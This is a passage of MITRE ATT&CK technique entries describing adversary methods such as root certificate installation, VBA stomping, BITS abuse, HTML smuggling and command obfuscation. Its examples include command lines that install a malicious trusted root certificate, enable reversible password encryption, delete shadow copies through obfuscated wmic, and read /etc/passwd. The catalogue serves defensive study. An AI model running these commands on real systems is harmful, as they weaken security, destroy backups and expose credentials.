Regsvr32 Targeting Mongolian Gov)\n\nRegsvr32.exe can also be leveraged to register a COM Object used to establish persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1546/015). (Citation: Carbon Black Squiblydoo Apr 2016)\nT1036.003 | Rename System Utilities | Adversaries may rename legitimate system utilities to try to evade security mechanisms concerning the usage of those utilities. Security monitoring and control mechanisms may be in place for system utilities adversaries are capable of abusing. (Citation: LOLBAS Main Site) It may be possible to bypass those security mechanisms by renaming the utility prior to utilization (ex: rename rundll32.exe). (Citation: Elastic Masquerade Ball) An alternative case occurs when a legitimate utility is copied or moved to a different directory and renamed to avoid detections based on system utilities executing from non-standard paths. (Citation: F-Secure CozyDuke)\nT1562.011 | Spoof Security Alerting | Adversaries may spoof security alerting from tools, presenting false evidence to impair defenders\u2019 awareness of malicious activity.(Citation: BlackBasta) Messages produced by defensive tools contain information about potential security events as well as the functioning status of security software and the system. Security reporting messages are important for monitoring the normal operation of a system and identifying important events that can signal a security incident.\n\nRather than or in addition to [Indicator Blocking](https://attack.mitre.org/techniques/T1562/006), an adversary can spoof positive affirmations that security tools are continuing to function even after legitimate security tools have been disabled (e.g., [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001)). An adversary can also present a \u201chealthy\u201d system status even after infection. This can be abused to enable further malicious activity by delaying defender responses.\n\nFor example, adversaries may show a fake Windows Security GUI and tray icon with a \u201chealthy\u201d system status after Windows Defender and other system tools have been disabled.(Citation: BlackBasta)\nT1574.009 | Path Interception by Unquoted Path | Adversaries may execute their own malicious payloads by hijacking vulnerable file path references. Adversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch.\n\nService paths (Citation: Microsoft CurrentControlSet Services) and shortcut paths may also be vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., C:\\unsafe path with space\\program.exe vs. \"C:\\safe path with space\\program.exe\"). (Citation: Help eliminate unquoted path) (stored in Windows Registry keys) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is C:\\program files\\myapp.exe, an adversary may create a program at C:\\program.exe that will be run instead of the intended program. (Citation: Windows Unquoted Services) (Citation: Windows Privilege Escalation Guide)\n\nThis technique can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.\nT1027.003 | Steganography | Adversaries may use steganography techniques in order to prevent the detection of hidden information. Steganographic techniques can be used to hide data in digital media such as images, audio tracks, video clips, or text files.\n\n[Duqu](https://attack.mitre.org/software/S0038) was an early example of malware that used steganography. It encrypted the gathered information from a victim's system and hid it within an image before exfiltrating the image to a C2 server.(Citation: Wikipedia Duqu) \n\nBy the end of 2017, a threat group used\u202fInvoke-PSImage\u202fto hide [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands in an image file (.png) and execute the code on a victim's system. In this particular case the [PowerShell](https://attack.mitre.org/techniques/T1059/001) code downloaded another obfuscated script to gather intelligence from the victim's machine and communicate it back to the adversary.(Citation: McAfee Malicious Doc Targets Pyeongchang Olympics) \nT1550.004 | Web Session Cookie | Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated.(Citation: Pass The Cookie)\n\nAuthentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539) or [Web Cookies](https://attack.mitre.org/techniques/T1606/001), the adversary may then import the cookie into a browser they control and is then able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform.\n\nThere have been examples of malware targeting session cookies to bypass multi-factor authentication systems.(Citation: Unit 42 Mac Crypto Cookies January 2019)\nT1078.002 | Domain Accounts | Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.(Citation: TechNet Credential Theft) Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.(Citation: Microsoft AD Accounts)\n\nAdversaries may compromise domain accounts, some with a high level of privileges, through various means such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or password reuse, allowing access to privileged resources of the domain.\nT1218.009 | Regsvcs/Regasm | Adversaries may abuse Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Regsvcs and Regasm are Windows command-line utilities that are used to register .NET [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) assemblies. Both are binaries that may be digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)\n\nBoth utilities may be used to bypass application control through use of attributes within the binary to specify code that should be run before registration or unregistration: [ComRegisterFunction] or [ComUnregisterFunction] respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)\nT1553.004 | Install Root Certificate | Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.(Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.\n\nInstallation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.(Citation: Operation Emmental)\n\nAtypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) capability for intercepting information transmitted over secure TLS/SSL communications.(Citation: Kaspersky Superfish)\n\nRoot certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence.(Citation: SpectorOps Code Signing Dec 2017)\n\nIn macOS, the Ay MaMi malware uses /usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert to install a malicious certificate as a trusted root certificate into the system keychain.(Citation: objective-see ay mami 2018)\nT1027.004 | Compile After Delivery | Adversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. Text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. These payloads will need to be compiled before execution; typically via native utilities such as csc.exe or GCC/MinGW.(Citation: ClearSky MuddyWater Nov 2018)\n\nSource code payloads may also be encrypted, encoded, and/or embedded within other files, such as those delivered as a [Phishing](https://attack.mitre.org/techniques/T1566). Payloads may also be delivered in formats unrecognizable and inherently benign to the native OS (ex: EXEs on macOS/Linux) before later being (re)compiled into a proper executable binary with a bundled compiler and execution framework.(Citation: TrendMicro WindowsAppMac)\nT1564.007 | VBA Stomping | Adversaries may hide malicious Visual Basic for Applications (VBA) payloads embedded within MS Office documents by replacing the VBA source code with benign data.(Citation: FireEye VBA stomp Feb 2020)\n\nMS Office documents with embedded VBA content store source code inside of module streams. Each module stream has a PerformanceCache that stores a separate compiled version of the VBA source code known as p-code. The p-code is executed when the MS Office version specified in the _VBA_PROJECT stream (which contains the version-dependent description of the VBA project) matches the version of the host MS Office application.(Citation: Evil Clippy May 2019)(Citation: Microsoft _VBA_PROJECT Stream)\n\nAn adversary may hide malicious VBA code by overwriting the VBA source code location with zero\u2019s, benign code, or random bytes while leaving the previously compiled malicious p-code. Tools that scan for malicious VBA source code may be bypassed as the unwanted code is hidden in the compiled p-code. If the VBA source code is removed, some tools might even think that there are no macros present. If there is a version match between the _VBA_PROJECT stream and host MS Office application, the p-code will be executed, otherwise the benign VBA source code will be decompressed and recompiled to p-code, thus removing malicious p-code and potentially bypassing dynamic analysis.(Citation: Walmart Roberts Oct 2018)(Citation: FireEye VBA stomp Feb 2020)(Citation: pcodedmp Bontchev)\nT1197 | BITS Jobs | Adversaries may abuse BITS jobs to persistently execute code and perform various background tasks. Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM).(Citation: Microsoft COM)(Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations.\n\nThe interface to create and manage BITS jobs is accessible through [PowerShell](https://attack.mitre.org/techniques/T1059/001) and the [BITSAdmin](https://attack.mitre.org/software/S0190) tool.(Citation: Microsoft BITS)(Citation: Microsoft BITSAdmin)\n\nAdversaries may abuse BITS to download (e.g. [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)), execute, and even clean up after running malicious code (e.g. [Indicator Removal](https://attack.mitre.org/techniques/T1070)). BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls.(Citation: CTU BITS Malware June 2016)(Citation: Mondok Windows PiggyBack BITS May 2007)(Citation: Symantec BITS May 2007) BITS enabled execution may also enable persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots).(Citation: PaloAlto UBoatRAT Nov 2017)(Citation: CTU BITS Malware June 2016)\n\nBITS upload functionalities can also be used to perform [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).(Citation: CTU BITS Malware June 2016)\nT1127.001 | MSBuild | Adversaries may use MSBuild to proxy execution of code through a trusted Windows utility. MSBuild.exe (Microsoft Build Engine) is a software build platform used by Visual Studio. It handles XML formatted project files that define requirements for loading and building various platforms and configurations.(Citation: MSDN MSBuild)\n\nAdversaries can abuse MSBuild to proxy execution of malicious code. The inline task capability of MSBuild that was introduced in .NET version 4 allows for C# or Visual Basic code to be inserted into an XML project file.(Citation: MSDN MSBuild)(Citation: Microsoft MSBuild Inline Tasks 2017) MSBuild will compile and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application control defenses that are configured to allow MSBuild.exe execution.(Citation: LOLBAS Msbuild)\nT1656 | Impersonation | Adversaries may impersonate a trusted person or organization in order to persuade and trick a target into performing some action on their behalf. For example, adversaries may communicate with victims (via [Phishing for Information](https://attack.mitre.org/techniques/T1598), [Phishing](https://attack.mitre.org/techniques/T1566), or [Internal Spearphishing](https://attack.mitre.org/techniques/T1534)) while impersonating a known sender such as an executive, colleague, or third-party vendor. Established trust can then be leveraged to accomplish an adversary\u2019s ultimate goals, possibly against multiple victims. \n \nIn many cases of business email compromise or email fraud campaigns, adversaries use impersonation to defraud victims -- deceiving them into sending money or divulging information that ultimately enables [Financial Theft](https://attack.mitre.org/techniques/T1657).\n\nAdversaries will often also use social engineering techniques such as manipulative and persuasive language in email subject lines and body text such as `payment`, `request`, or `urgent` to push the victim to act quickly before malicious activity is detected. These campaigns are often specifically targeted against people who, due to job roles and/or accesses, can carry out the adversary\u2019s goal.\u202f\u202f \n \nImpersonation is typically preceded by reconnaissance techniques such as [Gather Victim Identity Information](https://attack.mitre.org/techniques/T1589) and [Gather Victim Org Information](https://attack.mitre.org/techniques/T1591) as well as acquiring infrastructure such as email domains (i.e. [Domains](https://attack.mitre.org/techniques/T1583/001)) to substantiate their false identity.(Citation: CrowdStrike-BEC)\n \nThere is the potential for multiple victims in campaigns involving impersonation. For example, an adversary may [Compromise Accounts](https://attack.mitre.org/techniques/T1586) targeting one organization which can then be used to support impersonation against other entities.(Citation: VEC)\nT1578.005 | Modify Cloud Compute Configurations | Adversaries may modify settings that directly affect the size, locations, and resources available to cloud compute infrastructure in order to evade defenses. These settings may include service quotas, subscription associations, tenant-wide policies, or other configurations that impact available compute. Such modifications may allow adversaries to abuse the victim\u2019s compute resources to achieve their goals, potentially without affecting the execution of running instances and/or revealing their activities to the victim.\n\nFor example, cloud providers often limit customer usage of compute resources via quotas. Customers may request adjustments to these quotas to support increased computing needs, though these adjustments may require approval from the cloud provider. Adversaries who compromise a cloud environment may similarly request quota adjustments in order to support their activities, such as enabling additional [Resource Hijacking](https://attack.mitre.org/techniques/T1496) without raising suspicion by using up a victim\u2019s entire quota.(Citation: Microsoft Cryptojacking 2023) Adversaries may also increase allowed resource usage by modifying any tenant-wide policies that limit the sizes of deployed virtual machines.(Citation: Microsoft Azure Policy)\n\nAdversaries may also modify settings that affect where cloud resources can be deployed, such as enabling [Unused/Unsupported Cloud Regions](https://attack.mitre.org/techniques/T1535). In Azure environments, an adversary who has gained access to a Global Administrator account may create new subscriptions in which to deploy resources, or engage in subscription hijacking by transferring an existing pay-as-you-go subscription from a victim tenant to an adversary-controlled tenant.(Citation: Microsoft Peach Sandstorm 2023) This will allow the adversary to use the victim\u2019s compute resources without generating logs on the victim tenant.(Citation: Microsoft Azure Policy) (Citation: Microsoft Subscription Hijacking 2022)\nT1562.008 | Disable or Modify Cloud Logs | An adversary may disable or modify cloud logging capabilities and integrations to limit what data is collected on their activities and avoid detection. Cloud environments allow for collection and analysis of audit and application logs that provide insight into what activities a user does within the environment. If an adversary has sufficient permissions, they can disable or modify logging to avoid detection of their activities.\n\nFor example, in AWS an adversary may disable CloudWatch/CloudTrail integrations prior to conducting further malicious activity.(Citation: Following the CloudTrail: Generating strong AWS security signals with Sumo Logic) They may alternatively tamper with logging functionality \u2013 for example, by removing any associated SNS topics, disabling multi-region logging, or disabling settings that validate and/or encrypt log files.(Citation: AWS Update Trail)(Citation: Pacu Detection Disruption Module) In Office 365, an adversary may disable logging on mail collection activities for specific users by using the `Set-MailboxAuditBypassAssociation` cmdlet, by disabling M365 Advanced Auditing for the user, or by downgrading the user\u2019s license from an Enterprise E5 to an Enterprise E3 license.(Citation: Dark Reading Microsoft 365 Attacks 2021)\nT1564.003 | Hidden Window | Adversaries may use hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks. \n\nOn Windows, there are a variety of features in scripting languages in Windows, such as [PowerShell](https://attack.mitre.org/techniques/T1059/001), Jscript, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005) to make windows hidden. One example of this is powershell.exe -WindowStyle Hidden. (Citation: PowerShell About 2019)\n\nSimilarly, on macOS the configurations for how applications run are listed in property list (plist) files. One of the tags in these files can be apple.awt.UIElement, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock.\n\nAdversaries may abuse these functionalities to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.(Citation: Antiquated Mac Malware)\nT1578.002 | Create Cloud Instance | An adversary may create a new instance or virtual machine (VM) within the compute service of a cloud account to evade defenses. Creating a new instance may allow an adversary to bypass firewall rules and permissions that exist on instances currently residing within an account. An adversary may [Create Snapshot](https://attack.mitre.org/techniques/T1578/001) of one or more volumes in an account, create a new instance, mount the snapshots, and then apply a less restrictive security policy to collect [Data from Local System](https://attack.mitre.org/techniques/T1005) or for [Remote Data Staging](https://attack.mitre.org/techniques/T1074/002).(Citation: Mandiant M-Trends 2020)\n\nCreating a new instance may also allow an adversary to carry out malicious activity within an environment without affecting the execution of current running instances.\nT1055.009 | Proc Memory | Adversaries may inject malicious code into processes via the /proc filesystem in order to evade process-based defenses as well as possibly elevate privileges. Proc memory injection is a method of executing arbitrary code in the address space of a separate live process. \n\nProc memory injection involves enumerating the memory of a process via the /proc filesystem (/proc/[pid]) then crafting a return-oriented programming (ROP) payload with available gadgets/instructions. Each running process has its own directory, which includes memory mappings. Proc memory injection is commonly performed by overwriting the target processes\u2019 stack using memory mappings provided by the /proc filesystem. This information can be used to enumerate offsets (including the stack) and gadgets (or instructions within the program that can be used to build a malicious payload) otherwise hidden by process memory protections such as address space layout randomization (ASLR). Once enumerated, the target processes\u2019 memory map within /proc/[pid]/maps can be overwritten using dd.(Citation: Uninformed Needle)(Citation: GDS Linux Injection)(Citation: DD Man) \n\nOther techniques such as [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006) may be used to populate a target process with more available gadgets. Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), proc memory injection may target child processes (such as a backgrounded copy of sleep).(Citation: GDS Linux Injection) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via proc memory injection may also evade detection from security products since the execution is masked under a legitimate process. \nT1601.001 | Patch System Image | Adversaries may modify the operating system of a network device to introduce new capabilities or weaken existing defenses.(Citation: Killing the myth of Cisco IOS rootkits) (Citation: Killing IOS diversity myth) (Citation: Cisco IOS Shellcode) (Citation: Cisco IOS Forensics Developments) (Citation: Juniper Netscreen of the Dead) Some network devices are built with a monolithic architecture, where the entire operating system and most of the functionality of the device is contained within a single file. Adversaries may change this file in storage, to be loaded in a future boot, or in memory during runtime.\n\nTo change the operating system in storage, the adversary will typically use the standard procedures available to device operators. This may involve downloading a new file via typical protocols used on network devices, such as TFTP, FTP, SCP, or a console connection. The original file may be overwritten, or a new file may be written alongside of it and the device reconfigured to boot to the compromised image.\n\nTo change the operating system in memory, the adversary typically can use one of two methods. In the first, the adversary would make use of native debug commands in the original, unaltered running operating system that allow them to directly modify the relevant memory addresses containing the running operating system. This method typically requires administrative level access to the device.\n\nIn the second method for changing the operating system in memory, the adversary would make use of the boot loader. The boot loader is the first piece of software that loads when the device starts that, in turn, will launch the operating system. Adversaries may use malicious code previously implanted in the boot loader, such as through the [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) method, to directly manipulate running operating system code in memory. This malicious code in the bootloader provides the capability of direct memory manipulation to the adversary, allowing them to patch the live operating system during runtime.\n\nBy modifying the instructions stored in the system image file, adversaries may either weaken existing defenses or provision new capabilities that the device did not have before. Examples of existing defenses that can be impeded include encryption, via [Weaken Encryption](https://attack.mitre.org/techniques/T1600), authentication, via [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004), and perimeter defenses, via [Network Boundary Bridging](https://attack.mitre.org/techniques/T1599). Adding new capabilities for the adversary\u2019s purpose include [Keylogging](https://attack.mitre.org/techniques/T1056/001), [Multi-hop Proxy](https://attack.mitre.org/techniques/T1090/003), and [Port Knocking](https://attack.mitre.org/techniques/T1205/001).\n\nAdversaries may also compromise existing commands in the operating system to produce false output to mislead defenders. When this method is used in conjunction with [Downgrade System Image](https://attack.mitre.org/techniques/T1601/002), one example of a compromised system command may include changing the output of the command that shows the version of the currently running operating system. By patching the operating system, the adversary can change this command to instead display the original, higher revision number that they replaced through the system downgrade. \n\nWhen the operating system is patched in storage, this can be achieved in either the resident storage (typically a form of flash memory, which is non-volatile) or via [TFTP Boot](https://attack.mitre.org/techniques/T1542/005). \n\nWhen the technique is performed on the running operating system in memory and not on the stored copy, this technique will not survive across reboots. However, live memory modification of the operating system can be combined with [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) to achieve persistence. \nT1070.009 | Clear Persistence | Adversaries may clear artifacts associated with previously established persistence on a host system to remove evidence of their activity. This may involve various actions, such as removing services, deleting executables, [Modify Registry](https://attack.mitre.org/techniques/T1112), [Plist File Modification](https://attack.mitre.org/techniques/T1647), or other methods of cleanup to prevent defenders from collecting evidence of their persistent presence.(Citation: Cylance Dust Storm) Adversaries may also delete accounts previously created to maintain persistence (i.e. [Create Account](https://attack.mitre.org/techniques/T1136)).(Citation: Talos - Cisco Attack 2022)\n\nIn some instances, artifacts of persistence may also be removed once an adversary\u2019s persistence is executed in order to prevent errors with the new instance of the malware.(Citation: NCC Group Team9 June 2020)\nT1556.001 | Domain Controller Authentication | Adversaries may patch the authentication process on a domain controller to bypass the typical authentication mechanisms and enable access to accounts. \n\nMalware may be used to inject false credentials into the authentication process on a domain controller with the intent of creating a backdoor used to access any user\u2019s account and/or credentials (ex: [Skeleton Key](https://attack.mitre.org/software/S0007)). Skeleton key works through a patch on an enterprise domain controller authentication process (LSASS) with credentials that adversaries may use to bypass the standard authentication system. Once patched, an adversary can use the injected password to successfully authenticate as any domain user account (until the the skeleton key is erased from memory by a reboot of the domain controller). Authenticated access may enable unfettered access to hosts and/or resources within single-factor authentication environments.(Citation: Dell Skeleton)\nT1027.006 | HTML Smuggling | Adversaries may smuggle data and files past content filters by hiding malicious payloads inside of seemingly benign HTML files. HTML documents can store large binary objects known as JavaScript Blobs (immutable data that represents raw bytes) that can later be constructed into file-like objects. Data may also be stored in Data URLs, which enable embedding media type or MIME files inline of HTML documents. HTML5 also introduced a download attribute that may be used to initiate file downloads.(Citation: HTML Smuggling Menlo Security 2020)(Citation: Outlflank HTML Smuggling 2018)\n\nAdversaries may deliver payloads to victims that bypass security controls through HTML Smuggling by abusing JavaScript Blobs and/or HTML5 download attributes. Security controls such as web content filters may not identify smuggled malicious files inside of HTML/JS files, as the content may be based on typically benign MIME types such as text/plain and/or text/html. Malicious files or data can be obfuscated and hidden inside of HTML files through Data URLs and/or JavaScript Blobs and can be deobfuscated when they reach the victim (i.e. [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140)), potentially bypassing content filters.\n\nFor example, JavaScript Blobs can be abused to dynamically generate malicious files in the victim machine and may be dropped to disk by abusing JavaScript functions such as msSaveBlob.(Citation: HTML Smuggling Menlo Security 2020)(Citation: MSTIC NOBELIUM May 2021)(Citation: Outlflank HTML Smuggling 2018)(Citation: nccgroup Smuggling HTA 2017)\nT1556.005 | Reversible Encryption | An adversary may abuse Active Directory authentication encryption properties to gain access to credentials on Windows systems. The AllowReversiblePasswordEncryption property specifies whether reversible password encryption for an account is enabled or disabled. By default this property is disabled (instead storing user credentials as the output of one-way hashing functions) and should not be enabled unless legacy or other software require it.(Citation: store_pwd_rev_enc)\n\nIf the property is enabled and/or a user changes their password after it is enabled, an adversary may be able to obtain the plaintext of passwords created/changed after the property was enabled. To decrypt the passwords, an adversary needs four components:\n\n1. Encrypted password (G$RADIUSCHAP) from the Active Directory user-structure userParameters\n2. 16 byte randomly-generated value (G$RADIUSCHAPKEY) also from userParameters\n3. Global LSA secret (G$MSRADIUSCHAPKEY)\n4. Static key hardcoded in the Remote Access Subauthentication DLL (RASSFM.DLL)\n\nWith this information, an adversary may be able to reproduce the encryption key and subsequently decrypt the encrypted password value.(Citation: how_pwd_rev_enc_1)(Citation: how_pwd_rev_enc_2)\n\nAn adversary may set this property at various scopes through Local Group Policy Editor, user properties, Fine-Grained Password Policy (FGPP), or via the ActiveDirectory [PowerShell](https://attack.mitre.org/techniques/T1059/001) module. For example, an adversary may implement and apply a FGPP to users or groups if the Domain Functional Level is set to \"Windows Server 2008\" or higher.(Citation: dump_pwd_dcsync) In PowerShell, an adversary may make associated changes to user settings using commands similar to Set-ADUser -AllowReversiblePasswordEncryption $true.\nT1027.010 | Command Obfuscation | Adversaries may obfuscate content during command execution to impede detection. Command-line obfuscation is a method of making strings and patterns within commands and scripts more difficult to signature and analyze. This type of obfuscation can be included within commands executed by delivered payloads (e.g., [Phishing](https://attack.mitre.org/techniques/T1566) and [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)) or interactively via [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).(Citation: Akamai JS)(Citation: Malware Monday VBE)\n\nFor example, adversaries may abuse syntax that utilizes various symbols and escape characters (such as spacing, `^`, `+`. `$`, and `%`) to make commands difficult to analyze while maintaining the same intended functionality.(Citation: RC PowerShell) Many languages support built-in obfuscation in the form of base64 or URL encoding.(Citation: Microsoft PowerShellB64) Adversaries may also manually implement command obfuscation via string splitting (`\u201cWor\u201d+\u201cd.Application\u201d`), order and casing of characters (`rev <<<'dwssap/cte/ tac'`), globing (`mkdir -p '/tmp/:&$NiA'`), as well as various tricks involving passing strings through tokens/environment variables/input streams.(Citation: Bashfuscator Command Obfuscators)(Citation: FireEye Obfuscation June 2017)\n\nAdversaries may also use tricks such as directory traversals to obfuscate references to the binary being invoked by a command (`C:\\voi\\pcw\\..\\..\\Windows\\tei\\qs\\k\\..\\..\\..\\system32\\erool\\..\\wbem\\wg\\je\\..\\..\\wmic.exe shadowcopy delete`).(Citation: Twitter Richard WMIC)\n\nTools such as Invoke-Obfuscation and Invoke-DOSfucation have also been used to obfuscate commands.(Citation: Invoke-DOSfuscation)(Citation: Invoke-Obfuscation)\nT1070.004 | File Deletion | Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.\n\nThere are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well.(Citation: Microsoft SDelete July 2016) Examples of built-in [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) functions include del on Windows and rm or unlink on Linux and macOS.\nT1221 | Template Injection | Adversaries may create or modify references in user document templates to conceal malicious code or force authentication attempts. For example, Microsoft\u2019s Office Open XML (OOXML) specification defines an XML-based format for Office documents (.docx, xlsx, .pptx) to replace older binary formats (.doc, .xls, .ppt). OOXML files are packed together ZIP archives compromised of various XML files, referred to as parts, containing properties that collectively define how a document is rendered.(Citation: Microsoft Open XML July 2017)\n\nProperties within parts may reference shared public resources accessed via online URLs. For example, template properties may reference a file, serving as a pre-formatted document blueprint, that is fetched when the document is loaded.\n\nAdversaries may abuse these templates to initially conceal malicious code to be executed via user documents. Template references injected into a document may enable malicious payloads to be fetched and executed when the document is loaded.(Citation: SANS Brian Wiltse Template Injection) These documents can be delivered via other techniques such as [Phishing](https://attack.mitre.org/techniques/T1566) and/or [Taint Shared Content](https://attack.mitre.org/techniques/T1080) and may evade static detections since no typical indicators (VBA macro, script, etc.) are present until after the malicious payload is fetched.(Citation: Redxorblue Remote Template Injection) Examples have been seen in the wild where template injection was used to load malicious code containing an exploit.(Citation: MalwareBytes Template Injection OCT 2017)\n\nAdversaries may also modify the *\\template control word within an .rtf file to similarly conceal then download malicious code. This legitimate control word value is intended to be a file destination of a template file resource that is retrieved and loaded when an .rtf file is opened. However, adversaries may alter the bytes of an existing .rtf file to insert a template control word field to include a URL resource of a malicious payload.(Citation: Proofpoint RTF Injection)(Citation: Ciberseguridad Decoding malicious RTF files)\n\nThis technique may also enable [Forced Authentication](https://attack.mitre.org/techniques/T1187) by injecting a SMB/HTTPS (or other credential prompting) URL and triggering an authentication attempt.(Citation: Anomali Template Injection MAR 2018)(Citation: Talos Template Injection July 2017)(Citation: ryhanson phishery SEPT 2016)\nT1134 | Access Token Manipulation | Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.\n\nAn adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. These token can then be applied to an existing process (i.e. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001)) or used to spawn a new process (i.e. [Create Process with Token](https://attack.mitre.org/techniques/T1134/002)). An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can then use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.(Citation: Pentestlab Token Manipulation)\n\nAny standard user can use the runas command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account. There are also other mechanisms, such as Active Directory fields, that can be used to modify access tokens.\nT1027.002 | Software Packing | Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.(Citation: ESET FinFisher Jan 2018) \n\nUtilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available, but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.(Citation: Awesome Executable Packing) \nT1564.005 | Hidden File System | Adversaries may use a hidden file system to conceal malicious activity from users and security tools. File systems provide a structure to store and access data from physical storage. Typically, a user engages with a file system through applications that allow them to access files and directories, which are an abstraction from their physical location (ex: disk sector). Standard file systems include FAT, NTFS, ext4, and APFS. File systems can also contain other structures, such as the Volume Boot Record (VBR) and Master File Table (MFT) in NTFS.(Citation: MalwareTech VFS Nov 2014)\n\nAdversaries may use their own abstracted file system, separate from the standard file system present on the infected system. In doing so, adversaries can hide the presence of malicious components and file input/output from security tools. Hidden file systems, sometimes referred to as virtual file systems, can be implemented in numerous ways. One implementation would be to store a file system in reserved disk space unused by disk structures or standard file system partitions.(Citation: MalwareTech VFS Nov 2014)(Citation: FireEye Bootkits) Another implementation could be for an adversary to drop their own portable partition image as a file on top of the standard file system.(Citation: ESET ComRAT May 2020) Adversaries may also fragment files across the existing file system structure in non-standard ways.(Citation: Kaspersky Equation QA)\nT1055.005 | Thread Local Storage | Adversaries may inject malicious code into processes via thread local storage (TLS) callbacks in order to evade process-based defenses as well as possibly elevate privileges. TLS callback injection is a method of executing arbitrary code in the address space of a separate live process. \n\nTLS callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code's legitimate entry point. TLS callbacks are normally used by the OS to setup and/or cleanup data used by threads. Manipulating TLS callbacks may be performed by allocating and writing to specific offsets within a process\u2019 memory space using other [Process Injection](https://attack.mitre.org/techniques/T1055) techniques such as [Process 